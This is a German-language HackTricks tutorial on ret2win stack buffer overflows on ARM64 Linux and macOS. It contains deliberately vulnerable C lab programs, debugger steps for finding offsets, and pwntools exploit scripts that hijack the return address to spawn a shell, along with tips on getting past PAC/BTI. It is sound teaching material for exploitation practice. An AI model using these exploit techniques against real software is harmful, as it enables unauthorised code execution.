Ret2win - arm64
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Eine Einführung in arm64 findest du in:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Kompilieren ohne pie und canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Das zusätzliche Flag
-mbranch-protection=nonedeaktiviert AArch64 Branch Protection (PAC/BTI). Wenn deine Toolchain standardmäßig PAC oder BTI aktiviert, sorgt das für reproduzierbare Ergebnisse im Lab. Um zu prüfen, ob eine kompilierte Binärdatei PAC/BTI verwendet, kannst du: - Nach AArch64 GNU-Eigenschaften suchen:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Prologe/Epiloge auf
paciasp/autiasp(PAC) oder aufbti cLanding-Pads (BTI) untersuchen: objdump -d ret2win | head -n 40
Kurze Fakten zur AArch64-Aufrufkonvention
- Das Link-Register ist
x30(a.k.a.lr), und Funktionen sichern typischerweisex29/x30mitstp x29, x30, [sp, #-16]!und stellen sie mitldp x29, x30, [sp], #16; retwieder her. - Das bedeutet, dass die gespeicherte Rücksprungadresse relativ zur Frame-Basis bei
sp+8liegt. Bei einem darunter angeordnetenchar buffer[64]beträgt die übliche Überschreibdistanz bis zum gespeichertenx3064 (buffer) + 8 (gespeichertes x29) = 72 Bytes — genau das werden wir weiter unten finden. - Der Stack-Pointer muss an Funktionsgrenzen 16‑Byte-ausgerichtet bleiben. Wenn du später ROP-Chains für komplexere Szenarien baust, achte auf die SP-Ausrichtung, sonst stürzt du möglicherweise bei Funktions-Epilogen ab.
Offset ermitteln
Pattern-Option
Dieses Beispiel wurde mit GEF erstellt:
Starte gdb mit gef, erstelle ein Pattern und verwende es:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 wird versuchen, zur Adresse im Register x30 zurückzukehren (das kompromittiert wurde), wir können das benutzen, um den Pattern-Offset zu finden:
pattern search $x30
.png)
Der Offset ist 72 (9x48).
Stack-Offset-Option
Beginne damit, die Stack-Adresse zu ermitteln, an der das pc-Register gespeichert ist:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Setze jetzt einen Breakpoint nach dem read() und fahre fort, bis der read() ausgeführt wird, und setze ein Pattern wie 13371337:
b *vulnerable_function+28
c
.png)
Finde, wo dieses Muster im Speicher gespeichert ist:
.png)
Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regulär
Bestimme die Adresse der Funktion win:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Eigentlich handelt es sich eher um ein off-by-2 im gespeicherten PC auf dem Stack. Anstatt die gesamte return address zu überschreiben, werden wir nur die letzten 2 Bytes mit 0x06c4 überschreiben.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Du findest ein weiteres off-by-one Beispiel in ARM64 unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, das eine echte off-by-one in einer fiktiven Schwachstelle ist.
Mit PIE
Tip
Kompiliere das Binary ohne das
-no-pieArgument
Off-by-2
Ohne einen leak kennen wir die exakte Adresse der winning function nicht, aber wir können den Offset der Funktion innerhalb des Binary ermitteln. Da die return address, die wir überschreiben, bereits auf eine nahe Adresse zeigt, ist es möglich, in diesem Fall den Offset zur win function (0x7d4) zu leak und einfach diesen Offset zu verwenden:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Kompilieren ohne canary (unter macOS kannst du PIE nicht deaktivieren):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Ohne ASLR ausführen (obwohl wir einen address leak haben, brauchen wir es nicht):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Es ist nicht möglich, NX in macOS zu deaktivieren, da dieser Modus auf arm64 auf Hardware-Ebene implementiert ist, sodass du ihn nicht deaktivieren kannst. Daher wirst du keine Beispiele mit shellcode im stack unter macOS finden.
Offset finden
- Generiere ein Pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Führe das Programm aus und gib das pattern ein, um einen Crash zu verursachen:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Prüfe das Register
x30(die Rücksprungadresse), um den Offset zu finden:
(lldb) register read x30
- Verwende
cyclic -l <value>, um den exakten Offset zu finden:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- So habe ich den offset
72gefunden. Wenn du an diesem offset die Adresse der Funktionwin()einsetzt, kannst du diese Funktion ausführen und eine shell bekommen (läuft ohne ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2. Beispiel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Kompilieren ohne canary (unter macOS kannst du PIE nicht deaktivieren):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Offset finden
- Erzeuge ein Muster in die Datei
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Führe das Programm aus, um einen Absturz zu verursachen:
lldb ./bof_macos
(lldb) run
- Überprüfe das Register
x30(die Rücksprungadresse), um das Offset zu finden:
(lldb) register read x30
- Verwende
cyclic -l <value>um den exakten Offset zu finden:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- So habe ich den Offset
72gefunden; setzt man an diesem Offset die Adresse der Funktionwin()ein, kann man diese Funktion ausführen und eine Shell erhalten (läuft ohne ASLR).
Berechne die Adresse von win()
- Das binary ist PIE. Mit dem leak der Funktion
leak_anchor()und Kenntnis des Offsets vonwin()relativ zuleak_anchor()können wir die Adresse vonwin()berechnen.
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- Der offset ist
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Hinweise zur modernen AArch64-Härtung (PAC/BTI) und ret2win
- If the binary is compiled with AArch64 Branch Protection, you may see
paciasp/autiasporbti cemitted in function prologues/epilogues. In that case: - Die Rückkehr zu einer Adresse, die kein gültiger BTI‑Landing‑Pad ist, kann ein
SIGILLauslösen. Bevorzuge es, genau den Funktionsanfang anzusteuern, derbti centhält. - If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates
x30. For learning scenarios, rebuild with-mbranch-protection=none(shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes anautiasp/retpair that authenticates your forged LR. - To check features quickly:
readelf --notes -W ./ret2winand look forAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PACnotes.objdump -d ./ret2win | head -n 40and look forbti c,paciasp,autiasp.
Running on non‑ARM64 hosts (qemu‑user quick tip)
If you are on x86_64 but want to practice AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Verwandte HackTricks-Seiten
Referenzen
- Aktivierung von PAC und BTI auf AArch64 für Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard für Prozeduraufrufe der Arm-64-Bit-Architektur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


